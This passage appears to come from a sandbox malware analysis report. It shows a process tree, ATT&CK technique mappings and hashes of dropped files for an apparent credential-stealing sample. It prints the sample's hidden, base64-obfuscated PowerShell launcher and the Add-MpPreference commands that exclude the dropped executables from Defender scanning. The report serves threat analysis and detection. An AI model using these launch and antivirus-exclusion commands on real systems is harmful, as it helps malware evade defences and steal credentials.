      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3512,i,6021540797273389414,6951736347949227312,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
      4⤵
      PID:1752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3524,i,16334773956083099428,3309023970163227664,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:9
      4⤵
      PID:1896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3540,i,17981141991046802469,10642050815354925613,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:1
      4⤵
      PID:2072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3560,i,2075280244238165936,1999741208164340039,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:9
      4⤵
      PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3572,i,13275478794402418097,1374602560741764258,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:1
      4⤵
      PID:5552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3588,i,17663582468022608689,8239114737309431461,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:9
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3636,i,5601391546497985207,13318986079933686101,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
      4⤵
      PID:3944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3748,i,3693375487066618677,4620931083314427631,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:9
      4⤵
      PID:1324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3768,i,3416686411422288572,7823108938838852893,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:1
      4⤵
      PID:4060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3780,i,2937738259100631003,12831873012395876145,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:9
      4⤵
      PID:5792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3856,i,12656622049430534984,8339171395404531832,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:14
      4⤵
      PID:5288
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1168
        5⤵
        
        PID:6220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,10311812214348037330,16174171564638747545,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:14
      4⤵
      PID:6244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,14446171482138096862,16323462688190491309,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:14
      4⤵
      PID:6380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5672,i,10649275522839983866,11420832692073855394,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:14
      4⤵
      PID:6552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=624
        5⤵
        
        PID:6652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,10600135399692456827,15738979652705458422,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:14
      4⤵
      PID:6780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,9447597088542371376,12073884319286975474,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:14
      4⤵
      PID:6788

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$y5cud4=7159;$o0i3or=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$y5cud4=7159;$enc43n=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEZ4LmV4ZQ==')));$u3wjs5=[System.Environment]::TickCount;& $o0i3or -FilePath $enc43n"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Users\Admin\AppData\Roaming\Fx.exe
  "C:\Users\Admin\AppData\Roaming\Fx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Fx.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2040
- - C:\Users\Admin\AppData\Roaming\Fx.exe
    "C:\Users\Admin\AppData\Roaming\Fx.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2220

C:\Users\Admin\AppData\Roaming\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
C:\Users\Admin\AppData\Roaming\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Users\Admin\AppData\Roaming\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
  "C:\Users\Admin\AppData\Roaming\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:6908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1364

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 4b4ffc4840526a73cf08ff5f8163001809c59d22839ef82f243c2bd71acbd851
MD5 3b172b79945090b6a378bb85067482e7
SHA1 693c389177c598f2505991eb4f34bd657551b1ba
SHA512 53b4514acc96630f0d75cc28748a4fc07a8973cb6e7494004463c5c98b9050855cd129dea165668aa3828107b27bf15dad519bf24a4855083ee7821cc2b8c105
SSDEEP 384:BSEboT1iBGSibJEyew2jWR+TBorr2P4kMzdC0MIAXwFsbMAoaqBBKpdv27hNIeUY:n0Z6GXlEyv6WR+9Y6QZC0MIAX2hAoaMn
TLSH
T173A2081C266F58CFD85162B810824787FBF8D558E6E191DBAF0FCA1F2C81A7E5E501E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 fde3e09baac041e4e82d1fd4041f9cf4f2f24b070ee8a13a5fce00fda385d2cb
MD5 5400dcc80e1d3e019f67d75852442a18
SHA1 3b4d1c37dd5ef22703cdf3edb4faf4c1f4c33fdd
SHA512 8ec52143efc4ee13b54224c7e700bb27174fe97770f0d872bd2b68f096ecdd77cc6cea23bc9f9186c817fd5a702740bb6f02047fd9414853b2dd162fffa1ed8c
SSDEEP 384:v1eBaoT1iBGCGW14bCqsx0xBG3/+mvePrr2Pn5IAXr4B+dWoWtzKwMvYbhNaPEl+:texZ6GZWieqIeBm/+76RIAXrq+OVjbhw
TLSH
T154A2B678213F6DC7D8D216B410D20AA7FBE4D489DAF611D4BF2BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_rpxw21vn.fxp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rpxw21vn.fxp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a4347a3e-67cb-4d74-8fc0-825fcd657091.tmp

Path C:\Users\Admin\AppData\Local\Temp\a4347a3e-67cb-4d74-8fc0-825fcd657091.tmp
Size 157KB
SHA256 e03138d37406c2bedec93e5a7c44a457a6b19cf4fee5dfe5a46450fcea1bf85e
MD5 088d09e1a5cd1db2f55a4f5131b75b3b
SHA1 4e017079555c92f2f9419a53ab89aae7c5425550
SHA512 f8e7a1652d20778af9e0aefef0f24bb477260eefd5c6cecd3b4e17276b7d6c8d79554e850b9a9fdd9c65095ae16dad8868df304ee7a057ec7cea5a35b9e526ad
SSDEEP 3072:sA30KAb7L7nAnBPxnb8b4HpQgHY15vClaH4d6r1tx:sAkKAb7L0Qb4HpQgoq8tx
TLSH
T182F3E1AD2FEE891ACD0B50BD3B04B38BC90A8F07820A655F735F8015997475D17A2DFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\GrShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\GrShaderCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\GrShaderCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\GrShaderCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Crashpad\settings.dat
Size 280B
SHA256 482f55cdc46d6f6f31e6016c071735742da6956ed2f82b79d221674c1a0b0864
MD5 353a0ef4d75b75019ac6272a4889e67f
SHA1 8b2801f69014d00825dcdc5f844c7acbe2cb0a73
SHA512 9bd693a7c7852ec086e9b033dd50ab702c427e3f6e565aa8180e7cd6ee3c61c141087c8d1eb58b53c0d9f0392a82a07a9389c197477d6d51972529b5eb498d7c
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Crashpad\settings.dat
Size 280B
SHA256 1776f3111a2efd8e6694459c86c3ca7a2e667bb9563674b39514ff6460e112c7
MD5 6ed7cb456558cb4a07f38b3cf9c109e9
SHA1 3ff53665f86e13938e65bd4e12ab23c8e4aa31c1
SHA512 7176ea2c948d1353ba0e45e3a2f6c5d21f46458858239bde8c552bc5103f78e57b6fc6f39d9be3a14a763910a356adf9805aa84de6f3a4e88a03bc4a87c321bc
TLSH
T1F4D022E0A322BF00C203203FC8FBFF283200FB2822F82308F002C0280C00008C000208
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Default\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 279B
SHA256 61c38bd684f4f8404eeaa2becb10c53ea10a121c697c3660532d1429c55ffa11
MD5 451a22808209d3038454ce3adf79a16d
SHA1 8d30335c19c5a7a8195254e1434888d39ac0ec9f
SHA512 d46a3a04876d82051d7d64a486153ef488d6f0f2ce0eec68f97aa8c3516b8b71376b6225172e8f2a82ece81deffb41b1fd228bc3127ca54dcd3b0234ab0dc96e
TLSH
T125D02BFB1D960420997F47F7547244A104467C5CD988FC4E012EB2872471366B412C50
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5a159c.TMP

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RFe5a159c.TMP
Size 153B
SHA256 13e75fcc9f38388f7ddb1a0b6e9cf251bb9195c1424289cf15918d27671586cb
MD5 d2008ec6ee6dcb6b1a31df83a8f3f902
SHA1 db5aa7df11878f6dadfd6c7a2e381108cfc47c41
SHA512 8fb497afebe7474cd8d49f81fc40e0d8f37ab94169ae6ed5dd1887dedcf644ee9391ef2156e1718d0c30cec865406410b1660a556ee1655ab33a7ecc8299e822
TLSH
T15BC08CFB0D9404019A9A02E6803298E441162C8C8A84BC99402FB2833070322B522C20
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Local State
Size 7KB
SHA256 6b102cd57a78298e667459d4f1f6e31c41dd421d747ca31cd768bdf30ab9d075
MD5 3a0a43b9e8100249d194deabac026128
SHA1 6bc1a275ee127397ba0b8a5af0787bc685be57f1
SHA512 f131141dbf7b3ef43319641081e16c70580953b516c78d5d824be65310fe201d23231c868c089df7a3e2ba31df947600098d98901c67174ae56f9e7dca5da666
SSDEEP 192:zk8NOWVL6HoW7oDUh3LS5ZHgifoqGGNdT:zk8NOVE6+3A78
TLSH
T17AF1E871A431ED339CFB9948B5893B539E78B0B7D8946F98E6D85B0E00DB2882307C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Local State
Size 3KB
SHA256 aee08c48c25e9b312f66ed961783100bb80c24dbf1b4e356fdd081af90fe2af8
MD5 5cd93b3d5c1e197748266492bcfd7c64
SHA1 9f3625b494de12058617aa07471d312fc140b901
SHA512 62bfd4d28646b14d3262c1abb5e1677e9c1d315cc82bddd720e7b2600b102ea9488d013a6b10c971d9a7a3ea178bab659d2963f92c35e1309cc234900c8b418b
TLSH
T17781C5B1A424FC739EE6694475963A939E78B1B3DC51AF58E2C8531C00EB64C3B0A827
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Local State
Size 4KB
SHA256 891cf470df419aeb63b97d511907050bfe21a94db732344638b0fdfd41e67d06
MD5 a74fb055357294e0053a4b5c798c6c95
SHA1 d545dd0212743700eae507e45bcc7d0e3e560298
SHA512 5a9b1093757b477ef33dad4a5407ce631d2371d02aa5948ad210feafc25a58fe59256d1023aa6bb91aff39c9e56dba480cfc0e4970a91f68ec223eee48d28f71
SSDEEP 96:gqGNkHQsFfwL6+Q58Frh/cInURoDotovzsDdBg2vHzhifo0eUnGaVDMq4a:LGNbhL6CooDUwGDFhifoqGGJ
TLSH
T157A1B6716474FC779DE6A94474C63753AEA87173EC90BF98E6D81A1D00EB3882706C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe5a086d.TMP

Path C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Local State~RFe5a086d.TMP
Size 1KB
SHA256 e1edb7a4a166b193cbb7c52afb09fa5c3743cba08b22982b944958d70d4efe41
MD5 4b693724077fc92346bfae96ca1aafd3
SHA1 b87a298ec7831fcb63d9296ab6496592fe87222e
